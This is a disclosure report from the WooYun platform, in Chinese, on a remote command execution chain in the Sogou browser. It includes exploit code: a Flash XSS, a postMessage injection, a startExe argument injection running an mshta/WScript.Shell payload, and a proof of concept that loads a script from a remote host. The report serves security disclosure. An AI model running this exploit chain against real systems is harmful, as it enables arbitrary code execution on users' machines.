当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-085567

漏洞标题:搜狗浏览器远程命令执行三

相关厂商:搜狗

漏洞作者: gainover

提交时间:2014-12-02 14:43

修复时间:2015-03-02 14:44

公开时间:2015-03-02 14:44

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-02: 细节已通知厂商并且等待厂商处理中
2014-12-05: 厂商已经确认,细节仅向厂商公开
2014-12-08: 细节向第三方安全合作伙伴开放
2015-01-29: 细节向核心白帽子及相关领域专家公开
2015-02-08: 细节向普通白帽子公开
2015-02-18: 细节向实习白帽子公开
2015-03-02: 细节向公众公开

简要描述:

搜狗浏览器又发布更新了,是不是修好了呢?
这一次,搜狗针对性的对上一个漏洞中的多个点进行了修改,但是有些地方依然欠缺考虑。使得我们可以继续绕过搜狗的修复措施,实现远程命令执行。
另外,不用故意压低rank值了,我不会去SGSRC的。

详细说明:

1. 首先列一列搜狗针对上一个漏洞做了哪些修复性的措施。
A. 限制了 location.href 直接向 se-extension跳转,即
location.href='se-extension://ext-1055834318/signin.html'; 会打开一个“空白页”。
同理:
window.open('se-extension://ext-1055834318/signin.html'); 也会打开一个“空白页”
B. 修复了 se-extension://ext-1055834318/signin.html 中的XSS,即 com.sogou.snapTaker 这个插件更新至了0.89版本。

var renrenUrl = "https://graph.renren.com/oauth/authorize?",
weiboUrl = "https://api.weibo.com/oauth2/authorize?";
if (url && (url.indexOf(renrenUrl) === 0 || url.indexOf(weiboUrl) === 0)) {


这一次对url的判断,没有再次犯错,因此这个XSS这次确实是被修复了
C. 改变了npgamecenterlite.dll中startExe API的代码,即com.sogou.gamecenter这个插件升级到了1.0.7版本。(不过目录下的js/seed.js里的代码的插件版本号忘了改了哦?,var PLUG_VERSION = global['PLUG_VERSION'] = "1.0.6";)
http://img.wan.sogou.com/cdn/gamehelperV0.3/v1.0.6/app.js?t=1.0.6
里的startExe的代码如下:

miniLauncher.startExe(url, "/popgame " + exe_param, function(arg) {
if( arg ){
utils.pb_cl( '2013_popup' , 'id=micro_launched' );
}
log( arg ); // if true , mean function calls success
});


进过分析发现,这个版本中,startExe具有3个参数,函数伪代码大概如下:

function startExe(url, param, callback){
运行应用(url+"sogouminigamepacker.exe "+param);
运行callback回调
}


而在上一个版本中,startExe只有2个参数,startExe("EXE路径",回调函数);
这里改为3个参数的目的,应该是为了让startExe只能调用某一个路径下的sogouminigamepacker.exe程序。
---------------------------------------------------------------------
2. 接着我们一一来绕过或是寻找新的漏洞来应对上面的修复措施。
A. 无法location.href了,而window.open也是打开了一个 about:blank,但是分析发现,在about:blank时可以使用 location.href='se-extension://ext-1055834318/signin.html' 跳转到se-extension页面。这样一来,我们可以使用下面的方法:

//首先,window.open打开目标页,会打开一个空白页 about:blank
w=window.open('se-extension://ext-1055834318/signin.html');
//然后,使用w.location.href对打开的页面进行重定向
setTimeout(function(){
w.location.href='se-extension://ext-1055834318/signin.html';
},500);


如下图所示:

1.jpg


当然,在我们自己域名下执行window.open 会被拦截,但是由于搜狗浏览器的机制,如果window.open在 *.sogou.com下执行则不会被浏览器所拦截。因此,我们要自动执行window.open,可以结合sogou.com域下的一个XSS来进行,由于比较懒,我翻了翻乌云上以前的搜狗的漏洞,有一个没有修复的XSS。

http://player.mbox.sogou.com/FlashMP3Player.swf?isFlashReady=function(){if(!window.x){alert(1);window.x=1;}}


该XSS来自一个一年前的漏洞报告:《 WooYun: 搜狗浏览器远程命令执行漏洞
到了这里,我们突破了第一个修复,可以实现打开任意 se-extension:// 下的页面。
B. XSS被修复了,我们得找一个新的XSS。
我们分析到se-extension://ext740107210/html/balloon.html时发现该页面会调用http://img.wan.sogou.com/cdn/gamehelperV0.3/v1.0.5/balloon/main.js这个文件,其中有以下一段代码:

window.onmessage = function(e) {
var data = e.data;
if (data.cmd == "BalloonCloseWin") {
window.close();
} else if (data.cmd == "BalloonNoTip") {
localStorage["balloon_forbidden"] = +new Date();
window.close();
} else if (data.cmd == "BalloonStartGame") {
sogouExplorer.tabs.create({
url: data.url,
selected: true
});
window.close();
}
};


可以看到,这里是一个 onmessage,且代码里并没有对 数据的origin以及数据内容进行判断,就进入到了 sogouExplorer.tabs.create 函数,
如果做过chrome插件开发的朋友,可能大概推出这个 sogouExplorer.tabs.create 应该是用来创建新的 浏览器tab页面的API,那么会有什么安全问题呢?
当 url为 javascript:alert(1); 的时候,sogouExplorer.tabs.create 相当于在当前页面下执行了javascript:alert(1); 因此,结合这个XSS,实际上我们可以在se-extension://ext740107210/html/balloon.html下执行任意XSS代码了。

//伪代码, 窗口对象为A步骤里得到的w变量
窗口对象.postMessage({"cmd":"BalloonStartGame","url":"javascript:alert(1)"},"*");


C. startExe函数进行了修改,那么那种修改可以防止执行任意命令吗?
我们首先来猜测一下对方的判断规则,
document.getElementById("embed1").startExe("calc.exe","",function(){console.log(arguments)});
如果是上面这样,按照前面的判断,会执行 calc.exesogouminigamepacker.exe,当然是不会执行,
我们加个空格,
document.getElementById("embed1").startExe("calc.exe ","",function(){console.log(arguments)});
这个理论上会执行 calc.exe sogouminigamepacker.exe ,后面的 sogouminigamepacker.exe 被当作了calc的参数。
但是这样还不行,测试发现只要出现了.exe就不行。
但是这里不需要exe也可以执行。
document.getElementById("embed1").startExe("calc ","",function(){console.log(arguments)});
结合上一个漏洞的利用代码,改改:

document.getElementById("embed1").startExe("mshta javascript:(new/**/ActiveXObject('WScript.Shell').run('calc'));window.moveTo(-1000,-1000);window.close(); //","",function(){console.log(arguments)});


D. 最后一步,怎么调用到 document.getElementById("embed1").startExe 呢?
我们存在XSS的页面是
se-extension://ext740107210/html/balloon.html ,
我们存在document.getElementById("embed1").startExe 的页面是:
se-extension://ext740107210/html/back.html
可以看到,这2个页面都是属于同一个插件(ext740107210)的页面,
并且 se-extension://ext740107210/html/back.html 是 se-extension://ext740107210/html/balloon.html 的 backgroud page.
在插件开发中,搜狗浏览器为插件页面提供了一个API,以便快速获得 background page的window对象。
sogouExplorer.runtime.getBackgroundPage(),参见(http://ie.sogou.com/open/doc/?id=2_16&title=runtime)
因此,我们可以很容易把前面的代码变为以下方式:

sogouExplorer.runtime.getBackgroundPage().document.getElementById("embed1").startExe("mshta javascript:(new/**/ActiveXObject('WScript.Shell').run('calc'));window.moveTo(-1000,-1000);window.close(); //","",function(){console.log(arguments)});


-----------------------------------------------------------------
3. 最后的利用代码如下:
sogouhehehe.html

<script>
window.name="f=document.createElement('script');f.src='http://xsst.sinaapp.com/poc/sogou2.js?'+Math.random();document.body.appendChild(f);";
location.href="http://player.mbox.sogou.com/FlashMP3Player.swf?isFlashReady=function(){if(!window.x){eval(window.name);window.x=1;}}";
</script>


sogou2.js

w=window.open('se-extension://ext740107210/html/balloon.html');
setTimeout(function(){
w.location.href='se-extension://ext740107210/html/balloon.html';
var x=setInterval(function(){
if(w){
clearInterval(x);
w.postMessage({"cmd":"BalloonStartGame","url":"javascript:sogouExplorer.runtime.getBackgroundPage().document.getElementById('embed1').startExe(\"mshta javascript:(new/**/ActiveXObject('WScript.Shell').run('calc'));window.moveTo(-1000,-1000);window.close(); //\",\"\",function(){console.log(arguments)});"},"*");
}
},100);
},500);

漏洞证明:

访问: http://xsst.sinaapp.com/poc/sogouhehehe.html
win7 64
效果如下:

2.jpg

修复方案:

1. 继续修复window.open
2. 修复balloon.html的XSS
2. 继续修复startExe函数的设计逻辑

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-12-05 15:11

厂商回复:

非常感谢您的支持,问题已着手处理,欢迎到SGSRC提交漏洞。

最新状态:

暂无